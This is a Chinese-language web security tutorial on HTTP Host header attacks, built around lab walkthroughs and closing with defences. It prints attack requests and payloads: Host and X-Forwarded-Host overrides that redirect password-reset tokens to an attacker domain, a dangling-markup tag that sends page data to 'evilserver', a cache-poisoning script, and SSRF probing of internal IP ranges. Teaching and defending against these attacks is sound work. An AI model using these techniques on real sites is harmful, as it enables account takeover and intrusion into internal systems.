资讯详情

网络安全:HTTP Host 头攻击相关知识介绍

从HTTP / 1.1开始,HTTP Host标头是必要的要求标头。它指定了客户端要访问的域名。例如,当用户访问时https://example.net/web-security当的浏览器将组成一个包含Host如下所示:

GET/web-securityHTTP/1.1 Host:example.net

例如,在某些情况下,当代理转发请求时,Host在达到预期的后端组件之前,值可能会发生变化。也发生了Host头攻击。

HTTP Host头部的目的是帮助识别客户端通信的后端组件。如果请求不包括在内Host如果头部或格式不正确,可能会导致问题。

从历史上看,这个漏洞没有大问题,因为每个漏洞都没有大问题IP地址只用于单个域的内容。现在,很大程度上是因为同一个域IP上存在多个Web应用程序(不同端口、不同域名解析等。)通常可以在同一个IP访问多个网站和应用程序。这种方法的普及部分是由于IPv4地址耗尽。

当可以通过同一个IP在访问多个应用程序时,最常见的原因之一是:

  • 虚拟主机

单个Web服务器托管多个网站或应用程序。这可能是一个拥有单个所有者的多个网站,但也可能是不同所有者的网站托管在同一个共享平台上。它们都与服务器共享公共服务器IP地址。

  • 代理路由流量

网站托管在不同的后端服务器上,但客户端和服务器之间的所有流量都通过代理系统路由。这可能是一个简单的负载平衡设备或一个反向代理服务器。通过内容分发网络(CDN)这种设置在访问网站时尤为常见。

在上述两种情况下,即使网站托管在单独的后端服务器上,它们的所有域名也被分析为单个中间组件IP地址。这带来了与虚拟主机相同的问题,因为反向代理或负载平衡需要知道每个请求的后端。

HTTP Host头的功能是将指定请求发送到应用程序的后端服务器。例如,一封信需要发送给住在公寓楼里的人。整个公寓有很多房间,每个房间都可以通过指定的房间号码和收件人接受信件(即HTTP Host头)将信封发送给指定人员。

有些网站以不安全的方式处理Host头的值。如果服务器直接信任Host如果头部没有验证其合法性,攻击者可以使用该可控变量注入Host,操纵服务器端的行为。

现成的Web除非在安装过程中手动指定配置文件中,否则应用程序通常不知道将其部署在哪个域。例如,当他们需要知道当前域生成电子邮件中包含的绝对内容时URL他们可能会依赖它Host头中的值:

<ahref="https://_SERVER['HOST']/support">联系支持</a>

Host头值也可用于不同网站系统之间的各种互动。

由于Host头实际上是用户可以控制的,所以这种做法可能会导致很多问题。如果没有验证或直接使用Host头,则Host头部可以与一系列其他漏洞组合拳攻击,如:

  • 缓存投毒

  • 特殊业务功能的逻辑漏洞

  • 基于路由的SSRF

  • 如经典服务端漏洞SQL注入(当Host被用于SQL语句时)等

首先要判断服务端是否检测Host头?测试后还用吗?Host头的值?

通过修改Host如果服务端返回错误信息:

说明服务端检测Host内容。至于是否使用。Host探索头值的方法如下:

简单地说,可以修改HTTP头中的Host值,如果观察到响应包中含有修改后的值,说明存在漏洞。

但有时篡改Host头的值会导致无法访问Web应用程序导致无效主机头的错误信息,特别是通过CDN这种情况发生在访问目标时。

添加重复的Host头,通常两个Host头之中有一个是有效的,可以理解为一个是确保请求正确地发送到目标服务器上;另一个则是传递payload到后端服务器。

GET/exampleHTTP/1.1 Host:vulnerable-website.com Host:attackd-stuff

虽然许多请求通常在请求域使用相对路径,但它们也配置了绝对的URL的请求。

GEThttps://vulnerable-website.com/HTTP/1.1 Host:attack-stuff

有时可以尝试不同的协议,比如HTTP或HTTPS。

当一些站点block带有多个Host头部请求时,可添加缩入字符HTTP头来绕过:

GET/exampleHTTP/1.1 Host:attack-stuff Host:vulnerable-website.com

与Host类似头部功能的字段,如X-Forwarded-Host、X-Forwarded-For等等,这些有时是默认打开的。

GET/exampleHTTP/1.1 Host:vulnerable-website.com X-Forwarded-Host:attack-stuff

还有其他字段:

  • X-Host

  • X-Forwarded-Server

  • X-HTTP-Host-Override

  • Forwarded

修改时,添加重复Host当头部被拦截时,试着理解Web如何分析应用程序?Host头的。

例如,一些分析算法会被忽略Host头部的端口值,只验证域名。此时可以Host修改如下:

GET/exampleHTTP/1.1 Host:vulnerable-website.com:attack-stuff

保持域名不变,将其他值(非数字)修改为非端口号, 将Host头攻击的payload也可以放在端口值处。Host头攻击。

根据HTTP Host头部攻击的攻击特征被广泛应用于密码重置中毒:攻击者可以操纵网站在重置密码时产生的密码重置链接,从而发送攻击者指定的域窃取重置任何用户密码的令牌。

重置密码(忘记密码)功能的一般流程如下:

  1. 用户输入其用户名或电子邮件地址,然后提交密码重置请求。

  2. 该网站检查用户是否存在,然后生成与后端用户账户相关的临时、唯一、复杂的令牌。

  3. 该网站向用户发送包含重置密码的链接的电子邮件。重置令牌的参数包含在相应的URL中:

https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j

4. 当用户访问此URL当时,该网站将检查提供的令牌是否有效,并使用它来确定重置哪个帐户。如果一切都一致,您可以进入用户重置密码步骤。最后,令牌被销毁了。

上述步骤的安全性取决于:只有目标用户才能访问其电子邮件,从而访问其唯一的令牌。

密码重置中毒是窃取此令牌以更改另一用户密码的漏洞。

如果网站重置密码的流程完全依赖用户的可控输入(如HTTP Host头),这可能导致密码重置中毒:

1. 攻者获取受害者的用户名或者电子邮件,作为提交重置密码的请求,攻击者会拦截请求并修改HTTP Host头为其指定的域,如evil-user.net

2. 受害者会收到一封重置密码的邮件,但由于攻击者修改了Host头,而web程序生成重置链接又完全依赖于Host头,导致生成以下URL:

https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j

3. 如果受害者点击了该链接,重置密码的令牌就会发送到攻击者的服务器 evil-user.net 上

4. 当攻击者获取到虫子密码的令牌之后,就会进行相应的构造访问真实重置密码的URL进行密码重置。

详细了解了上面的密码重置中毒的流程和原理之后,这里通过HTTP Host头攻击导致的基础的密码重置中毒来演示。

首先输入用户名或者用户的电子邮箱来重置指定用户的密码:

提交之后,会发送一封重置密码的电子邮件到wiener用户的邮箱中(数据包如右图):

注意重置密码的链接,可能是受Host头的值的影响?

我们来验证一下是否存在HTTP Host头攻击,修改Host头的值为 baidu.com:

发现请求是可以被后端服务器接收的,所以是存在HTTP Host头攻击的。

这里就输入受害用户carlos进行重置密码,然后抓包将Host头的值改为我们自己的服务器:

然后在我们自己的服务器上就可以通过访问日志看到被窃取的重置密码Token:

然后根据已知链接规律,构造重置密码的链接:

https://ac651f551e5317b8800207bd008f000f.web-security-academy.net/forgot-password?temp-forgot-password-token=00YIexUDyNLEJkaBXDoCILWtZAGaxgi7

随即进入输入新密码的界面,密码重置中毒成功。

5.1.2 密码重置中毒—注入覆盖Host头的字段

有时候直接修改Host头、添加重复Host头的值以及混淆Host头都不行:

可以尝试使用与Host头功能相同的HTTP字段,如X-Forwarded-Host、X-Forwarded-For等,可以进行Fuzz:

实际上他能够被 X-Forwarded-Host 字段影响,导致Host头攻击,当同时添加多个字段使请求被拦截时,可以尝试类似排除法、二分法来排查哪个字段有效。

对受害用户carlos进行密码重置投毒:

然后构造链接即可:

https://acf11f4e1f164378800b165b00bb007d.web-security-academy.net/forgot-password?temp-forgot-password-token=o8gD3Le1K0YQcb2AaASgiI8F2eVI5m3h
5.1.3 重置密码中毒—Dangling Markup技术

首先简单介绍一下 Dangling Markup技术:

  • Dangling markup技术

Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术,它使用图像等资源(结合CSP运行的策略)将数据发送到攻击者控制的远程位置。当反射型XSS不工作或被内容安全策略(CSP)阻止时,它非常有用。其思想是插入一些未完成状态的部分HTML,例如图像标记的src属性,页面上的其余标记关闭该属性,但同时将两者之间的数据(包含窃取页面的内容)发送到远程服务器。

例如,我们在反射型XSS注入点上注入这样一个img标签

<img src="https://evilserver/?

则注入点和下一个双引号的代码将会发送到攻击者的  服务器, 其中被发送的代码或者内容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。

关于 Dangling Markup技术 的实战意义可以参考博主之前的文章:

什么时候可以使用 Dangling Markup技术 呢?与我们这篇文章的主题有什么关系呢?

我们直接进入主题,当输入需要重置密码的用户名后,该用户的邮箱内会收到如下邮箱:

有一个跳转到登录界面的链接,后面紧接着重置之后的随机密码。

此时考虑一下,该链接是否是从Host头取值而来?只要这个值可控,那么就可以利用Host头攻击实施 Dangling Markup攻击,包含住链接后面紧跟着的密码,再结合Host头攻击将请求指定到攻击者服务器上。一个漫天过海的窃取行为就完成了。

  • 第一步,寻找Host头攻击点:

通过Fuzz,可发现Host头攻击类型为 忽略端口仅校验域名。即服务端在校验Host域的时候,仅校验了域名,忽略了后面的端口号,造成端口值可控(可以是数字或字符):

通过在Host头的端口中注入payload,依旧可以实现Host头攻击。

  • 第二步,借助可控变量 Host:ip:port 来实施 Dangling Markup技术,从而将后面的密码外带到攻击者服务器上:

注意,需要闭合此处的双引号出去,经过尝试,输入单引号时,服务端会自动转为双引号,故这里通过单引号将双引号闭合,然后添加自定的<a href=xxx.attack-domain>标签将密码外带:

原本的正常HTML是这样的:

通过Dangling Markup技术 在a标签的链接中注入? 符,使得后面的值在双引号闭合之前全部被当做URL参数请求到攻击者服务器上:

这也是 Dangling Markup技术 的精髓所在,该技术的核心点在于:

可控变量后面是否接着需要窃取的关键数据(包括Token、密码等)

在攻击者服务器上可以看到被Host头攻击转发上来的请求,里面成功窃取了受害者重置后的密码:

5.2 Host头攻击+缓存投毒

当存在Host头攻击的web站点不存在密码重置的功能的时候,此时该漏洞就显得没有影响,因为不可能驱使用户去抓包修改Host头,辅助攻击者完成一系列的攻击。

但是,如果目标站点使用Web缓存,则可以通过缓存投毒给其他用户提供带有病毒的缓存响应。此时的Host头攻击漏洞转变为类似XSS存储型类的漏洞。要构造Web缓存投毒攻击:

1. 需要寻找映射到其他用户请求的缓存键;

2. 下一步则是缓存此恶意响应;

3. 然后,此恶意缓存将提供给尝试访问受影响页面的所有用户。

  • 第一步,寻找Host头攻击点:

通过对站点的主页添加重复的Host值,可以达到覆盖的效果,并验证存在Host头攻击:

  • 第二步,寻找是否使用了Web缓存?缓存键是什么?

从上图中也可以发现,站点使用了Wen缓存功能,并且配合Host头攻击,可以缓存资源文件。

  • 第三步,在攻击者服务器上创建一个同名的 资源文件,内容为:

alert(document.cookie);

然后通过Host头注入攻击者服务器域名,可以看到在响应中正确地对应了我们的 资源文件:

发送多次请求,使该请求的响应变为缓存:

当其他用户请求站点主页时,服务端就会提供该恶意缓存给用户,造成缓存投毒。

5.3 Host头攻击绕过访问控制

出于安全考虑,通常网站对某些功能的访问限制为内部用户使用。但是通过Host头攻击一定可能上可以绕过这些限制。

对于一个站点,从发现Host头攻击到利用,下面来展示一个完整的流程:

  • 第一步,访问主页,随意修改Host的值:

注意,这里的Host的值不会出现响应包中,但是依然可能存在Host头攻击,因为响应依然成功,说明服务端没有对Host头做验证。

  • 第二步,寻找敏感页面,通过 /robots.txt 知道 /admin 为做了访问控制的页面:

可以错误信息提示,/admin 页面只允许本地用户访问。

  • 第三步,将Host改为服务端内部地址,从而绕过IP访问控制:

5.4 Host头攻击+SSRF

Host头攻击可能会导致基于路由的SSRF攻击,称为:Host SSRF Attack。

经典的SSRF攻击通常基于XXE或可利用的业务逻辑,将用户可控的URL作为HTTP请求发送;而基于路由的SSRF依赖于云部署的体系结构中,包括负载均衡和反向代理,这些中间件将请求分配发送到对应的后端服务器处理,如果服务端未校验Host头转发的请求,则攻击者可能会将请求发送(重定向)到体系中的任意系统。

这可能需要知道内部系统的IP地址(私有地址),一般可以通过信息收集或者Fuzz来判断有效的私有IP地址(如枚举192.168.1.1/16)。

5.4.1 基础Host头攻击+SSRF

比如,普通方式访问不到 /admin 页面(404):

猜测 /admin 存在于内网中,需要内网机器才能访问,但是配合Host头攻击+SSRF可以绕过并访问。

  • 第一步,判断Host是否被使用,可用DNSLog外带

这里我使用Burp自带的 “Burp Collaborator client”  来实现外带:

说明服务端是根据Host头的域名来请求资源的。

  • 第二步,基于Host头的SSRF探测内网主机

假如一些敏感的页面(比如管理页面),深处于内网,外网无法访问,但是通过Host头攻击+SSRF可达到绕过访问控制,从而访问内网资产,这里Fuzz内网的IP的C段为192.168.0.0/24,直接利用Intruder枚举:

得到内网IP为192.168.0.240

  • 第三步,访问内网资源

构造 /admin 页面,在Host处换位内网IP:

5.4.2 Host头攻击+SSRF—使用绝对路径的URL

有时候服务端会校验Host头的值,如果Host被修改,服务端会拒绝一切修改过后的请求:

普通请求通常在请求域上使用相对路径,但是,服务端也同时可能配置了绝对URL的请求,采用如下形式可绕过对Host的验证:

GET http://acab1f4b1f3c7628805c2515009a00c9.web-security-academy.net/ HTTP/1.1

接着用 “Burp Collaborator client” 进行外带:

外带成功,说明Host头被服务端使用来向指定域名请求资源,直接SSRF爆破内网:

访问内网页面:

最简单的方法是避免在服务器端代码中完全使用Host头,可以只使用相对URL。

其他方法包括:

6.1 正确配置绝对域名URL

当必须使用绝对域名URL时,应在配置文件中手动指定当前域的URL,并引用配置的值,而不是从HTTP的Host头中获取。这种方法可防止密码重置的缓存投毒。

6.2 白名单校验Host头的域

如果必须使用Host头,需要正确校验它的合法性。这包括允许的域,并使用白名单校验它,以及拒绝或重定向对无法识别的主机请求。这包括但不仅限于单个web应用程序、负载均衡以及反向代理设备上。

6.3 不支持主机头覆盖

确保不适用与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。

值得一提的是,不应该将内网使用的Host主机(不出网)与公网的应用程序托管在同一个服务器上,否则攻击者可能会操纵Host头来访问内部域。

来源网络

IT技术分享社区

个人博客网站:https://programmerblog.xyz

文章推荐程序员效率:画流程图常用的工具程序员效率:整理常用的在线笔记软件远程办公:常用的远程协助软件,你都知道吗?51单片机程序下载、ISP及串口基础知识硬件:断路器、接触器、继电器基础知识

标签: b1安全继电器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台